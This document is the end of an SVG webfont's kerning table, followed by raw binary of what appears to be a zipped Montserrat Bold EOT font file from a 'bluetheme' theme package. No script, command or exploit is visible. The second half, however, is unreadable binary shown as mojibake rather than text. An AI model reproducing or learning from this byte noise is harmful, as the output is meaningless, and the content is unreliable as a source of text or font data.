<hkern u1="Y" u2="&#xc6;" k="113" />
<hkern u1="Y" u2="&#xae;" k="31" />
<hkern u1="Y" u2="z" k="82" />
<hkern u1="Y" u2="y" k="18" />
<hkern u1="Y" u2="x" k="43" />
<hkern u1="Y" u2="w" k="27" />
<hkern u1="Y" u2="v" k="16" />
<hkern u1="Y" u2="u" k="74" />
<hkern u1="Y" u2="t" k="14" />
<hkern u1="Y" u2="s" k="106" />
<hkern u1="Y" u2="o" k="123" />
<hkern u1="Y" u2="n" k="72" />
<hkern u1="Y" u2="f" k="23" />
<hkern u1="Y" u2="a" k="100" />
<hkern u1="Y" u2="S" k="18" />
<hkern u1="Y" u2="O" k="47" />
<hkern u1="Y" u2="J" k="20" />
<hkern u1="Y" u2="A" k="104" />
<hkern u1="Y" u2="&#x40;" k="57" />
<hkern u1="Y" u2="&#x3a;" k="90" />
<hkern u1="Y" u2="&#x36;" k="20" />
<hkern u1="Y" u2="&#x34;" k="66" />
<hkern u1="Y" u2="&#x31;" k="-31" />
<hkern u1="Y" u2="&#x2f;" k="119" />
<hkern u1="Y" u2="&#x2e;" k="127" />
<hkern u1="Y" u2="&#x2d;" k="92" />
<hkern u1="Y" u2="&#x26;" k="37" />
<hkern u1="Z" u2="&#xf0;" k="25" />
<hkern u1="Z" u2="&#xee;" k="-37" />
<hkern u1="Z" u2="y" k="16" />
<hkern u1="Z" u2="w" k="20" />
<hkern u1="Z" u2="v" k="16" />
<hkern u1="Z" u2="u" k="23" />
<hkern u1="Z" u2="t" k="20" />
<hkern u1="Z" u2="o" k="29" />
<hkern u1="Z" u2="n" k="14" />
<hkern u1="Z" u2="f" k="18" />
<hkern u1="Z" u2="O" k="25" />
<hkern u1="Z" u2="&#x2d;" k="35" />
<hkern u1="[" u2="&#xf0;" k="41" />
<hkern u1="[" u2="&#xec;" k="-33" />
<hkern u1="[" u2="&#xc6;" k="23" />
<hkern u1="[" u2="z" k="37" />
<hkern u1="[" u2="w" k="33" />
<hkern u1="[" u2="v" k="29" />
<hkern u1="[" u2="u" k="43" />
<hkern u1="[" u2="t" k="20" />
<hkern u1="[" u2="s" k="49" />
<hkern u1="[" u2="o" k="59" />
<hkern u1="[" u2="n" k="37" />
<hkern u1="[" u2="j" k="-184" />
<hkern u1="[" u2="f" k="20" />
<hkern u1="[" u2="a" k="45" />
<hkern u1="[" u2="S" k="27" />
<hkern u1="[" u2="O" k="51" />
<hkern u1="[" u2="A" k="27" />
<hkern u1="[" u2="&#x39;" k="20" />
<hkern u1="[" u2="&#x38;" k="33" />
<hkern u1="[" u2="&#x36;" k="43" />
<hkern u1="[" u2="&#x34;" k="55" />
<hkern u1="[" u2="&#x30;" k="43" />
<hkern u1="\" u2="&#x2019;" k="127" />
<hkern u1="\" u2="&#xc6;" k="-39" />
<hkern u1="\" u2="y" k="47" />
<hkern u1="\" u2="w" k="37" />
<hkern u1="\" u2="v" k="47" />
<hkern u1="\" u2="t" k="23" />
<hkern u1="\" u2="Y" k="90" />
<hkern u1="\" u2="W" k="63" />
<hkern u1="\" u2="V" k="82" />
<hkern u1="\" u2="U" k="25" />
<hkern u1="\" u2="T" k="84" />
<hkern u1="\" u2="O" k="23" />
<hkern u1="\" u2="A" k="-14" />
<hkern u1="\" u2="&#x31;" k="41" />
<hkern u1="\" u2="&#x27;" k="109" />
<hkern u1="a" u2="&#x2122;" k="47" />
<hkern u1="a" u2="&#x2019;" k="33" />
<hkern u1="a" u2="&#x2018;" k="33" />
<hkern u1="a" u2="&#x7d;" k="23" />
<hkern u1="a" u2="y" k="12" />
<hkern u1="a" u2="w" k="10" />
<hkern u1="a" u2="v" k="12" />
<hkern u1="a" u2="t" k="12" />
<hkern u1="a" u2="f" k="8" />
<hkern u1="a" u2="]" k="47" />
<hkern u1="a" u2="\" k="70" />
<hkern u1="a" u2="Z" k="18" />
<hkern u1="a" u2="Y" k="96" />
<hkern u1="a" u2="X" k="10" />
<hkern u1="a" u2="W" k="53" />
<hkern u1="a" u2="V" k="72" />
<hkern u1="a" u2="U" k="16" />
<hkern u1="a" u2="T" k="109" />
<hkern u1="a" u2="S" k="10" />
<hkern u1="a" u2="O" k="12" />
<hkern u1="a" u2="J" k="14" />
<hkern u1="a" u2="I" k="10" />
<hkern u1="a" u2="&#x29;" k="33" />
<hkern u1="c" u2="&#x2122;" k="35" />
<hkern u1="c" u2="&#x2039;" k="27" />
<hkern u1="c" u2="&#xf0;" k="25" />
<hkern u1="c" u2="s" k="8" />
<hkern u1="c" u2="o" k="23" />
<hkern u1="c" u2="a" k="8" />
<hkern u1="c" u2="]" k="33" />
<hkern u1="c" u2="\" k="41" />
<hkern u1="c" u2="Y" k="90" />
<hkern u1="c" u2="W" k="35" />
<hkern u1="c" u2="V" k="45" />
<hkern u1="c" u2="U" k="12" />
<hkern u1="c" u2="T" k="164" />
<hkern u1="c" u2="S" k="12" />
<hkern u1="c" u2="O" k="20" />
<hkern u1="c" u2="&#x2d;" k="31" />
<hkern u1="c" u2="&#x29;" k="27" />
<hkern u1="d" u2="Z" k="12" />
<hkern u1="d" u2="U" k="12" />
<hkern u1="d" u2="T" k="10" />
<hkern u1="d" u2="O" k="10" />
<hkern u1="d" u2="J" k="16" />
<hkern u1="d" u2="I" k="10" />
<hkern u1="e" u2="&#x2122;" k="41" />
<hkern u1="e" u2="&#x2019;" k="37" />
<hkern u1="e" u2="&#x2018;" k="37" />
<hkern u1="e" u2="&#x7d;" k="25" />
<hkern u1="e" u2="y" k="12" />
<hkern u1="e" u2="x" k="23" />
<hkern u1="e" u2="v" k="12" />
<hkern u1="e" u2="t" k="8" />
<hkern u1="e" u2="f" k="8" />
<hkern u1="e" u2="]" k="51" />
<hkern u1="e" u2="\" k="68" />
<hkern u1="e" u2="Z" k="29" />
<hkern u1="e" u2="Y" k="117" />
<hkern u1="e" u2="X" k="35" />
<hkern u1="e" u2="W" k="74" />
<hkern u1="e" u2="V" k="88" />
<hkern u1="e" u2="U" k="14" />
<hkern u1="e" u2="T" k="158" />
<hkern u1="e" u2="S" k="14" />
<hkern u1="e" u2="J" k="18" />
<hkern u1="e" u2="I" k="12" />
<hkern u1="e" u2="A" k="14" />
<hkern u1="e" u2="&#x2f;" k="35" />
<hkern u1="e" u2="&#x29;" k="47" />
<hkern u1="f" u2="&#x2122;" k="-57" />
<hkern u1="f" u2="&#x2039;" k="55" />
<hkern u1="f" u2="&#xf0;" k="63" />
<hkern u1="f" u2="&#xef;" k="-100" />
<hkern u1="f" u2="&#xee;" k="-37" />
<hkern u1="f" u2="&#xec;" k="-152" />
<hkern u1="f" u2="&#xc6;" k="90" />
<hkern u1="f" u2="s" k="8" />
<hkern u1="f" u2="o" k="27" />
<hkern u1="f" u2="a" k="10" />
<hkern u1="f" u2="]" k="-29" />
<hkern u1="f" u2="Y" k="-117" />
<hkern u1="f" u2="X" k="-33" />
<hkern u1="f" u2="W" k="-78" />
<hkern u1="f" u2="V" k="-94" />
<hkern u1="f" u2="T" k="-39" />
<hkern u1="f" u2="J" k="12" />
<hkern u1="f" u2="A" k="82" />
<hkern u1="f" u2="&#x3a;" k="41" />
<hkern u1="f" u2="&#x2f;" k="63" />
<hkern u1="f" u2="&#x2e;" k="66" />
<hkern u1="f" u2="&#x2d;" k="63" />
<hkern u1="i" u2="Z" k="12" />
<hkern u1="i" u2="U" k="12" />
<hkern u1="i" u2="T" k="10" />
<hkern u1="i" u2="O" k="10" />
<hkern u1="i" u2="J" k="16" />
<hkern u1="i" u2="I" k="10" />
<hkern u1="j" u2="j" k="-33" />
<hkern u1="k" u2="&#x2122;" k="33" />
<hkern u1="k" u2="&#x2039;" k="41" />
<hkern u1="k" u2="&#xf0;" k="53" />
<hkern u1="k" u2="s" k="10" />
<hkern u1="k" u2="o" k="51" />
<hkern u1="k" u2="a" k="18" />
<hkern u1="k" u2="Y" k="39" />
<hkern u1="k" u2="V" k="16" />
<hkern u1="k" u2="U" k="10" />
<hkern u1="k" u2="T" k="133" />
<hkern u1="k" u2="O" k="35" />
<hkern u1="k" u2="&#x2d;" k="57" />
<hkern u1="l" u2="&#xb7;" k="150" />
<hkern u1="l" u2="Z" k="12" />
<hkern u1="l" u2="U" k="12" />
<hkern u1="l" u2="T" k="10" />
<hkern u1="l" u2="O" k="10" />
<hkern u1="l" u2="J" k="16" />
<hkern u1="l" u2="I" k="10" />
<hkern u1="n" u2="&#x2122;" k="49" />
<hkern u1="n" u2="&#x2019;" k="35" />
<hkern u1="n" u2="&#x2018;" k="35" />
<hkern u1="n" u2="&#x7d;" k="23" />
<hkern u1="n" u2="y" k="14" />
<hkern u1="n" u2="w" k="12" />
<hkern u1="n" u2="v" k="12" />
<hkern u1="n" u2="t" k="14" />
<hkern u1="n" u2="f" k="10" />
<hkern u1="n" u2="]" k="47" />
<hkern u1="n" u2="\" k="72" />
<hkern u1="n" u2="Z" k="20" />
<hkern u1="n" u2="Y" k="96" />
<hkern u1="n" u2="X" k="10" />
<hkern u1="n" u2="W" k="53" />
<hkern u1="n" u2="V" k="72" />
<hkern u1="n" u2="U" k="16" />
<hkern u1="n" u2="T" k="109" />
<hkern u1="n" u2="S" k="10" />
<hkern u1="n" u2="O" k="12" />
<hkern u1="n" u2="J" k="14" />
<hkern u1="n" u2="I" k="10" />
<hkern u1="n" u2="&#x2a;" k="16" />
<hkern u1="n" u2="&#x29;" k="33" />
<hkern u1="o" u2="&#x2122;" k="49" />
<hkern u1="o" u2="&#x2019;" k="53" />
<hkern u1="o" u2="&#x2018;" k="53" />
<hkern u1="o" u2="&#xc6;" k="20" />
<hkern u1="o" u2="&#x7d;" k="35" />
<hkern u1="o" u2="z" k="12" />
<hkern u1="o" u2="y" k="20" />
<hkern u1="o" u2="x" k="39" />
<hkern u1="o" u2="w" k="14" />
<hkern u1="o" u2="v" k="18" />
<hkern u1="o" u2="t" k="16" />
<hkern u1="o" u2="f" k="16" />
<hkern u1="o" u2="]" k="59" />
<hkern u1="o" u2="\" k="76" />
<hkern u1="o" u2="Z" k="41" />
<hkern u1="o" u2="Y" k="123" />
<hkern u1="o" u2="X" k="66" />
<hkern u1="o" u2="W" k="78" />
<hkern u1="o" u2="V" k="88" />
<hkern u1="o" u2="U" k="18" />
<hkern u1="o" u2="T" k="131" />
<hkern u1="o" u2="S" k="23" />
<hkern u1="o" u2="J" k="29" />
<hkern u1="o" u2="I" k="18" />
<hkern u1="o" u2="A" k="23" />
<hkern u1="o" u2="&#x3f;" k="20" />
<hkern u1="o" u2="&#x2f;" k="43" />
<hkern u1="o" u2="&#x2a;" k="23" />
<hkern u1="o" u2="&#x29;" k="55" />
<hkern u1="o" u2="&#x27;" k="23" />
<hkern u1="q" u2="j" k="-119" />
<hkern u1="r" u2="&#x2122;" k="16" />
<hkern u1="r" u2="&#x2039;" k="55" />
<hkern u1="r" u2="&#xf0;" k="57" />
<hkern u1="r" u2="&#xc6;" k="92" />
<hkern u1="r" u2="&#x7d;" k="20" />
<hkern u1="r" u2="o" k="20" />
<hkern u1="r" u2="a" k="10" />
<hkern u1="r" u2="]" k="39" />
<hkern u1="r" u2="Z" k="29" />
<hkern u1="r" u2="Y" k="14" />
<hkern u1="r" u2="X" k="61" />
<hkern u1="r" u2="T" k="139" />
<hkern u1="r" u2="J" k="86" />
<hkern u1="r" u2="A" k="90" />
<hkern u1="r" u2="&#x3a;" k="33" />
<hkern u1="r" u2="&#x2f;" k="88" />
<hkern u1="r" u2="&#x2e;" k="92" />
<hkern u1="r" u2="&#x2d;" k="57" />
<hkern u1="r" u2="&#x29;" k="37" />
<hkern u1="r" u2="&#x26;" k="27" />
<hkern u1="s" u2="&#x2122;" k="47" />
<hkern u1="s" u2="&#x7d;" k="20" />
<hkern u1="s" u2="x" k="8" />
<hkern u1="s" u2="v" k="8" />
<hkern u1="s" u2="]" k="43" />
<hkern u1="s" u2="\" k="53" />
<hkern u1="s" u2="Y" k="92" />
<hkern u1="s" u2="X" k="16" />
<hkern u1="s" u2="W" k="51" />
<hkern u1="s" u2="V" k="61" />
<hkern u1="s" u2="U" k="18" />
<hkern u1="s" u2="T" k="145" />
<hkern u1="s" u2="O" k="10" />
<hkern u1="s" u2="I" k="12" />
<hkern u1="s" u2="A" k="10" />
<hkern u1="s" u2="&#x2f;" k="20" />
<hkern u1="s" u2="&#x29;" k="41" />
<hkern u1="t" u2="&#x2122;" k="39" />
<hkern u1="t" u2="o" k="8" />
<hkern u1="t" u2="]" k="25" />
<hkern u1="t" u2="\" k="33" />
<hkern u1="t" u2="Y" k="68" />
<hkern u1="t" u2="W" k="25" />
<hkern u1="t" u2="V" k="37" />
<hkern u1="t" u2="U" k="12" />
<hkern u1="t" u2="T" k="119" />
<hkern u1="u" u2="&#x2122;" k="37" />
<hkern u1="u" u2="]" k="37" />
<hkern u1="u" u2="\" k="41" />
<hkern u1="u" u2="Z" k="14" />
<hkern u1="u" u2="Y" k="72" />
<hkern u1="u" u2="X" k="14" />
<hkern u1="u" u2="W" k="51" />
<hkern u1="u" u2="V" k="61" />
<hkern u1="u" u2="U" k="10" />
<hkern u1="u" u2="T" k="100" />
<hkern u1="u" u2="O" k="10" />
<hkern u1="u" u2="J" k="16" />
<hkern u1="u" u2="I" k="10" />
<hkern u1="u" u2="&#x29;" k="31" />
<hkern u1="v" u2="&#x2039;" k="37" />
<hkern u1="v" u2="&#xf0;" k="35" />
<hkern u1="v" u2="&#xc6;" k="66" />
<hkern u1="v" u2="s" k="14" />
<hkern u1="v" u2="o" k="18" />
<hkern u1="v" u2="a" k="14" />
<hkern u1="v" u2="]" k="29" />
<hkern u1="v" u2="Z" k="12" />
<hkern u1="v" u2="Y" k="16" />
<hkern u1="v" u2="X" k="49" />
<hkern u1="v" u2="T" k="139" />
<hkern u1="v" u2="J" k="53" />
<hkern u1="v" u2="A" k="59" />
<hkern u1="v" u2="&#x3a;" k="18" />
<hkern u1="v" u2="&#x2f;" k="82" />
<hkern u1="v" u2="&#x2e;" k="74" />
<hkern u1="v" u2="&#x2a;" k="-18" />
<hkern u1="v" u2="&#x29;" k="27" />
<hkern u1="w" u2="&#x2039;" k="29" />
<hkern u1="w" u2="&#xf0;" k="29" />
<hkern u1="w" u2="&#xc6;" k="59" />
<hkern u1="w" u2="s" k="8" />
<hkern u1="w" u2="o" k="14" />
<hkern u1="w" u2="a" k="10" />
<hkern u1="w" u2="]" k="33" />
<hkern u1="w" u2="Z" k="16" />
<hkern u1="w" u2="Y" k="27" />
<hkern u1="w" u2="X" k="53" />
<hkern u1="w" u2="T" k="133" />
<hkern u1="w" u2="J" k="57" />
<hkern u1="w" u2="A" k="51" />
<hkern u1="w" u2="&#x2f;" k="72" />
<hkern u1="w" u2="&#x2e;" k="59" />
<hkern u1="w" u2="&#x29;" k="31" />
<hkern u1="x" u2="&#x2122;" k="27" />
<hkern u1="x" u2="&#x2039;" k="45" />
<hkern u1="x" u2="&#xf0;" k="45" />
<hkern u1="x" u2="o" k="41" />
<hkern u1="x" u2="a" k="10" />
<hkern u1="x" u2="Y" k="39" />
<hkern u1="x" u2="V" k="16" />
<hkern u1="x" u2="U" k="12" />
<hkern u1="x" u2="T" k="135" />
<hkern u1="x" u2="O" k="25" />
<hkern u1="x" u2="&#x2d;" k="49" />
<hkern u1="y" u2="&#x2039;" k="37" />
<hkern u1="y" u2="&#xf0;" k="35" />
<hkern u1="y" u2="&#xc6;" k="66" />
<hkern u1="y" u2="s" k="12" />
<hkern u1="y" u2="o" k="18" />
<hkern u1="y" u2="a" k="14" />
<hkern u1="y" u2="]" k="23" />
<hkern u1="y" u2="Z" k="12" />
<hkern u1="y" u2="Y" k="16" />
<hkern u1="y" u2="X" k="47" />
<hkern u1="y" u2="T" k="139" />
<hkern u1="y" u2="J" k="49" />
<hkern u1="y" u2="A" k="59" />
<hkern u1="y" u2="&#x3a;" k="18" />
<hkern u1="y" u2="&#x2f;" k="76" />
<hkern u1="y" u2="&#x2e;" k="74" />
<hkern u1="y" u2="&#x2a;" k="-12" />
<hkern u1="y" u2="&#x29;" k="23" />
<hkern u1="z" u2="&#x2122;" k="43" />
<hkern u1="z" u2="&#x2039;" k="31" />
<hkern u1="z" u2="&#xf0;" k="14" />
<hkern u1="z" u2="o" k="14" />
<hkern u1="z" u2="]" k="33" />
<hkern u1="z" u2="\" k="37" />
<hkern u1="z" u2="Y" k="78" />
<hkern u1="z" u2="W" k="33" />
<hkern u1="z" u2="V" k="41" />
<hkern u1="z" u2="U" k="20" />
<hkern u1="z" u2="T" k="150" />
<hkern u1="z" u2="O" k="12" />
<hkern u1="z" u2="I" k="10" />
<hkern u1="z" u2="&#x2d;" k="35" />
<hkern u1="&#x7b;" u2="&#xf0;" k="23" />
<hkern u1="&#x7b;" u2="u" k="25" />
<hkern u1="&#x7b;" u2="s" k="20" />
<hkern u1="&#x7b;" u2="o" k="35" />
<hkern u1="&#x7b;" u2="j" k="-168" />
<hkern u1="&#x7b;" u2="a" k="20" />
<hkern u1="&#x7b;" u2="O" k="25" />
<hkern u1="&#x7c;" u2="j" k="-104" />
<hkern u1="&#x7d;" u2="&#x29;" k="20" />
<hkern u1="&#xae;" u2="&#xc6;" k="25" />
<hkern u1="&#xae;" u2="Y" k="33" />
<hkern u1="&#xae;" u2="X" k="25" />
<hkern u1="&#xae;" u2="T" k="25" />
<hkern u1="&#xae;" u2="J" k="25" />
<hkern u1="&#xae;" u2="A" k="27" />
<hkern u1="&#xb0;" u2="&#x34;" k="49" />
<hkern u1="&#xb7;" u2="l" k="150" />
<hkern u1="&#xb7;" u2="&#x37;" k="41" />
<hkern u1="&#xb7;" u2="&#x33;" k="53" />
<hkern u1="&#xb7;" u2="&#x32;" k="51" />
<hkern u1="&#xb7;" u2="&#x31;" k="59" />
<hkern u1="&#xbf;" u2="Y" k="39" />
<hkern u1="&#xbf;" u2="W" k="31" />
<hkern u1="&#xbf;" u2="V" k="37" />
<hkern u1="&#xbf;" u2="T" k="41" />
<hkern u1="&#xce;" u2="&#x7d;" k="-20" />
<hkern u1="&#xde;" u2="&#x2122;" k="25" />
<hkern u1="&#xde;" u2="&#xc6;" k="39" />
<hkern u1="&#xde;" u2="z" k="10" />
<hkern u1="&#xde;" u2="x" k="14" />
<hkern u1="&#xde;" u2="]" k="51" />
<hkern u1="&#xde;" u2="\" k="35" />
<hkern u1="&#xde;" u2="Z" k="27" />
<hkern u1="&#xde;" u2="Y" k="49" />
<hkern u1="&#xde;" u2="X" k="61" />
<hkern u1="&#xde;" u2="W" k="12" />
<hkern u1="&#xde;" u2="V" k="25" />
<hkern u1="&#xde;" u2="T" k="37" />
<hkern u1="&#xde;" u2="J" k="49" />
<hkern u1="&#xde;" u2="A" k="39" />
<hkern u1="&#xde;" u2="&#x2f;" k="61" />
<hkern u1="&#xde;" u2="&#x2e;" k="66" />
<hkern u1="&#xde;" u2="&#x29;" k="45" />
<hkern u1="&#xdf;" u2="y" k="14" />
<hkern u1="&#xdf;" u2="x" k="18" />
<hkern u1="&#xdf;" u2="w" k="10" />
<hkern u1="&#xdf;" u2="v" k="14" />
<hkern u1="&#xdf;" u2="t" k="14" />
<hkern u1="&#xdf;" u2="f" k="12" />
<hkern u1="&#xdf;" u2="]" k="25" />
<hkern u1="&#xdf;" u2="\" k="20" />
<hkern u1="&#xdf;" u2="Z" k="14" />
<hkern u1="&#xdf;" u2="Y" k="37" />
<hkern u1="&#xdf;" u2="X" k="31" />
<hkern u1="&#xdf;" u2="W" k="27" />
<hkern u1="&#xdf;" u2="V" k="33" />
<hkern u1="&#xdf;" u2="U" k="20" />
<hkern u1="&#xdf;" u2="T" k="31" />
<hkern u1="&#xdf;" u2="S" k="10" />
<hkern u1="&#xdf;" u2="O" k="10" />
<hkern u1="&#xdf;" u2="J" k="14" />
<hkern u1="&#xdf;" u2="I" k="16" />
<hkern u1="&#xdf;" u2="A" k="14" />
<hkern u1="&#xdf;" u2="&#x2f;" k="31" />
<hkern u1="&#xdf;" u2="&#x29;" k="33" />
<hkern u1="&#xed;" u2="&#x2122;" k="-90" />
<hkern u1="&#xed;" u2="&#x7d;" k="-33" />
<hkern u1="&#xed;" u2="]" k="-55" />
<hkern u1="&#xed;" u2="\" k="-18" />
<hkern u1="&#xed;" u2="&#x2a;" k="-37" />
<hkern u1="&#xee;" u2="&#x2122;" k="-72" />
<hkern u1="&#xee;" u2="&#x3f;" k="-35" />
<hkern u1="&#xee;" u2="&#x2a;" k="-84" />
<hkern u1="&#xef;" u2="&#x2122;" k="-70" />
<hkern u1="&#xef;" u2="&#x7d;" k="-12" />
<hkern u1="&#xef;" u2="]" k="-33" />
<hkern u1="&#xef;" u2="&#x2a;" k="-43" />
<hkern u1="&#xf0;" u2="&#x2122;" k="31" />
<hkern u1="&#xf0;" u2="&#x2019;" k="37" />
<hkern u1="&#xf0;" u2="&#x2018;" k="37" />
<hkern u1="&#xf0;" u2="&#xc6;" k="14" />
<hkern u1="&#xf0;" u2="&#x7d;" k="20" />
<hkern u1="&#xf0;" u2="z" k="8" />
<hkern u1="&#xf0;" u2="y" k="12" />
<hkern u1="&#xf0;" u2="x" k="27" />
<hkern u1="&#xf0;" u2="w" k="8" />
<hkern u1="&#xf0;" u2="v" k="14" />
<hkern u1="&#xf0;" u2="t" k="12" />
<hkern u1="&#xf0;" u2="f" k="10" />
<hkern u1="&#xf0;" u2="]" k="39" />
<hkern u1="&#xf0;" u2="\" k="33" />
<hkern u1="&#xf0;" u2="Z" k="37" />
<hkern u1="&#xf0;" u2="Y" k="80" />
<hkern u1="&#xf0;" u2="X" k="61" />
<hkern u1="&#xf0;" u2="W" k="59" />
<hkern u1="&#xf0;" u2="V" k="70" />
<hkern u1="&#xf0;" u2="U" k="18" />
<hkern u1="&#xf0;" u2="T" k="82" />
<hkern u1="&#xf0;" u2="S" k="16" />
<hkern u1="&#xf0;" u2="J" k="25" />
<hkern u1="&#xf0;" u2="I" k="12" />
<hkern u1="&#xf0;" u2="A" k="20" />
<hkern u1="&#xf0;" u2="&#x2f;" k="39" />
<hkern u1="&#xf0;" u2="&#x2a;" k="18" />
<hkern u1="&#xf0;" u2="&#x29;" k="39" />
<hkern u1="&#xf0;" u2="&#x27;" k="18" />
<hkern u1="&#x2018;" u2="&#xf0;" k="39" />
<hkern u1="&#x2018;" u2="&#xc6;" k="133" />
<hkern u1="&#x2018;" u2="s" k="49" />
<hkern u1="&#x2018;" u2="o" k="74" />
<hkern u1="&#x2018;" u2="a" k="43" />
<hkern u1="&#x2018;" u2="O" k="23" />
<hkern u1="&#x2018;" u2="J" k="29" />
<hkern u1="&#x2018;" u2="A" k="125" />
<hkern u1="&#x2018;" u2="&#x2e;" k="309" />
<hkern u1="&#x2019;" u2="&#x2039;" k="33" />
<hkern u1="&#x2019;" u2="&#xf0;" k="39" />
<hkern u1="&#x2019;" u2="&#xc6;" k="133" />
<hkern u1="&#x2019;" u2="&#xae;" k="25" />
<hkern u1="&#x2019;" u2="s" k="49" />
<hkern u1="&#x2019;" u2="o" k="74" />
<hkern u1="&#x2019;" u2="a" k="43" />
<hkern u1="&#x2019;" u2="O" k="23" />
<hkern u1="&#x2019;" u2="J" k="29" />
<hkern u1="&#x2019;" u2="A" k="125" />
<hkern u1="&#x2019;" u2="&#x40;" k="57" />
<hkern u1="&#x2019;" u2="&#x3a;" k="156" />
<hkern u1="&#x2019;" u2="&#x2f;" k="172" />
<hkern u1="&#x2019;" u2="&#x2e;" k="309" />
<hkern u1="&#x2019;" u2="&#x26;" k="45" />
<hkern u1="&#x2039;" u2="Y" k="66" />
<hkern u1="&#x2039;" u2="W" k="23" />
<hkern u1="&#x2039;" u2="V" k="35" />
<hkern u1="&#x2039;" u2="T" k="111" />
<hkern u1="&#x203a;" u2="z" k="25" />
<hkern u1="&#x203a;" u2="y" k="37" />
<hkern u1="&#x203a;" u2="x" k="43" />
<hkern u1="&#x203a;" u2="w" k="29" />
<hkern u1="&#x203a;" u2="v" k="37" />
<hkern u1="&#x203a;" u2="t" k="27" />
<hkern u1="&#x203a;" u2="s" k="20" />
<hkern u1="&#x203a;" u2="f" k="27" />
<hkern u1="&#x203a;" u2="Z" k="23" />
<hkern u1="&#x203a;" u2="Y" k="109" />
<hkern u1="&#x203a;" u2="X" k="33" />
<hkern u1="&#x203a;" u2="W" k="57" />
<hkern u1="&#x203a;" u2="V" k="72" />
<hkern u1="&#x203a;" u2="T" k="127" />
<hkern u1="&#x203a;" u2="J" k="27" />
<hkern u1="&#x203a;" u2="&#x27;" k="29" />
<hkern u1="&#x2122;" u2="&#xee;" k="-31" />
<hkern u1="&#x2122;" u2="&#xec;" k="-14" />
<hkern u1="&#x2122;" u2="&#xc6;" k="61" />
<hkern u1="&#x2122;" u2="J" k="35" />
<hkern u1="&#x2122;" u2="A" k="55" />
</font>
</defs></svg> PK!W��'T'T=bluetheme/assets/fonts/Montserrat/montserrat-bold-webfont.eotnu&1i�'T[S�LP/�J @d�RmMontserratBoldVersion 2.001Montserrat BoldBSGPs5�5�+����xZW�h[qJx"c�r,g,E�&�C������@��lT`��^��i�

�Ղ��ף�#&�b��v�t�<��)���U��fVC3��4�$���Ҩ%�/��n�K6$˪�g���QlR�
�EG,b�ZJ���AZ>f�{m��a�:+�|�P+�;))h�"��������cZ�V˘��bq�Ǻ�O����g��A�2�7��F.,����}ӡ��d$_�C�;�,̒����;�1��2L},�\�@UF��}hq�J.nA���b	xn(M˂�&k�e�؁��!��>S�%p�~@�cK����~f>��Q)z݌#����������O���Y`m��(���x�'��IdAy��,�L����eu��Nd-�gppPMv#����
�V���yZHggh�+�P��ᣊ.K�u'�/�i�oY8Zr�OBc֏<G~6�X�B�+��-wV,�
Ie!e�F�@2��T@M[p��4Eo�e�@qȃ�V6����:�`��bZ�k,��v
"A'ښ��b�6,��[��gt��{�k���!mŮ�%��w��3�{Df7f�U�C���kWl�{i
n��ޏ�φ��.~g6�NaV����T@�D
���Uo&hH�p��[#"6G6�ѩ�I���W	���醔�!z��n�U����R�X`��ub��C�&,:����@�f�~1;�P���>W������v���*��k��"* qa&�U @:Ph[ʓ�B���ұ#]�q'���7��j�,Ѓ8EK��9��5�\@��$�2�*gn"ć�U�
q�<eċ$�XX�R�-�s	P
&��8G���qI��2� �0�	�Th�@�	Cg�, L��L2
�����9zUŮ4�^���Ʃ�j�F���CV���e/�����ED)܇�)"��$��+$��X�j��~B{��NG�VT
��� ?���*�_u�L'a�S�@+px*	�S�_��*�fɰ���=��ɉ��
!q
�A�l�l4��Y9��6���=anF��Y�
��U�N��>^9<���4��y~��.
	@��ʶ7�Bk�\H9��Ká��DцTw�3;�=���Q*��Ҡ���8�xT�D�����և��P3��j�EY�Hz0��q��Mɂ(h�44O���o@���h'r��B�����hM�xU�;�(fB��%�''!�3��E��'�+�AtArC��C��N���,	F"�m���
�͜T0\�_&!s4$
�
c<P��ܲb������q���y_�
�p�?
��h��n=f�����&���\��)-Ѭ����S��ˁ��t���|�(\�$'3��t���Fo�n�'o�yKO{�V	�6U���c�P��Jv��'�[,Rkq�����8G=�
f�f��(�I�HZ:B��+Rm�2i�ҧJW�ޅ����ݐ/б�E��2��0S �Lj�ci�b�(�)T�ſ!��5��o4�Dh�%)mϖ�(�f�xV��i|J�I5��M��V�j遺*��Ѿ_���f%���މ���G0�#��zUM@S�1�WG�+�n�gR��y&ӭ�u�N�skW~�2�k��)/*mT�Nϩ�2	j�MT�Н�g�Q���d"�dG숡�.��\K4��R	�B/�QdZ̋Y�t-�	�\�	t�q��5:E����n:JWEbf.��L�յ=��5$}_�g~�V�W�zhS9�"Ca�}*����'H���!M��
��h
�L��sh��J���-��ضi���Y��$�I.d��qJ�35ʫ\�k��p�H�ȶ�_mzi��|JW �IGB=�ׯ�S54%A���߿�G��WW��
��`�k����qXMO��`�v��J���>6�Z�yo�9�?D�Q%�R"�.S�}��t� ݠ+��(�?e��8���x͓���5Ԋ�K7�����0�с&���G{������9�m�X���*2�3����ps!��H���B�D(B�=�C����W�*���@���^�����Ba"��q%8�V�qA��b��i�N��ד}�����%S?�?���%���%AUv��O~Jsԧ:�ϱ�%@�Լ��t�nG������Oix/�[x�S�wPF��BԒ�mE�*3Q8J���xS��B`��4+������GwuGw,��;��ܷs>�\n��5Qd�ա�+��A?c�Xl��4��蓦.墏[��\�Z����{�q[:[�p���@��8^E�,2�%�����QyK�M�NP3ݦ�68��MR�p������s�v
�����&oY"@�C�!�uʋ�7�d��u��f��C0z=�$č�?�bIn��n����g����h��ώ��>Z�(�b!T���	��d���r�J!ɩzW�i,c*n�g�]�2��._ڮ�U���/��[�b�n�䙟�d^͸v��D'P ΛnB��U����qD[�8����r�<��4x�#G���V�����o&9#n$m�a#b���{q���FR�Q����E�s�6�O�
��i��9ă!qp�\6)
��ho��83c�%�+�꽉�����^��'�F�����q�<��a�s�3,I��=.�]R��D�ȁL�7N�x��<$;�w�m���S5��`I�%�J��Kp I���
�Qg�y�t�UM�qU�:i�{9��`�>#lS�
C�-����i�����Ԇ��~`�7���B,
��n��ÙN�$u/\8J�ʨ�&�`g[^�H��w)�Y̵\D�'#+�	'���{����jR�w�LɆ~c�,&�7���
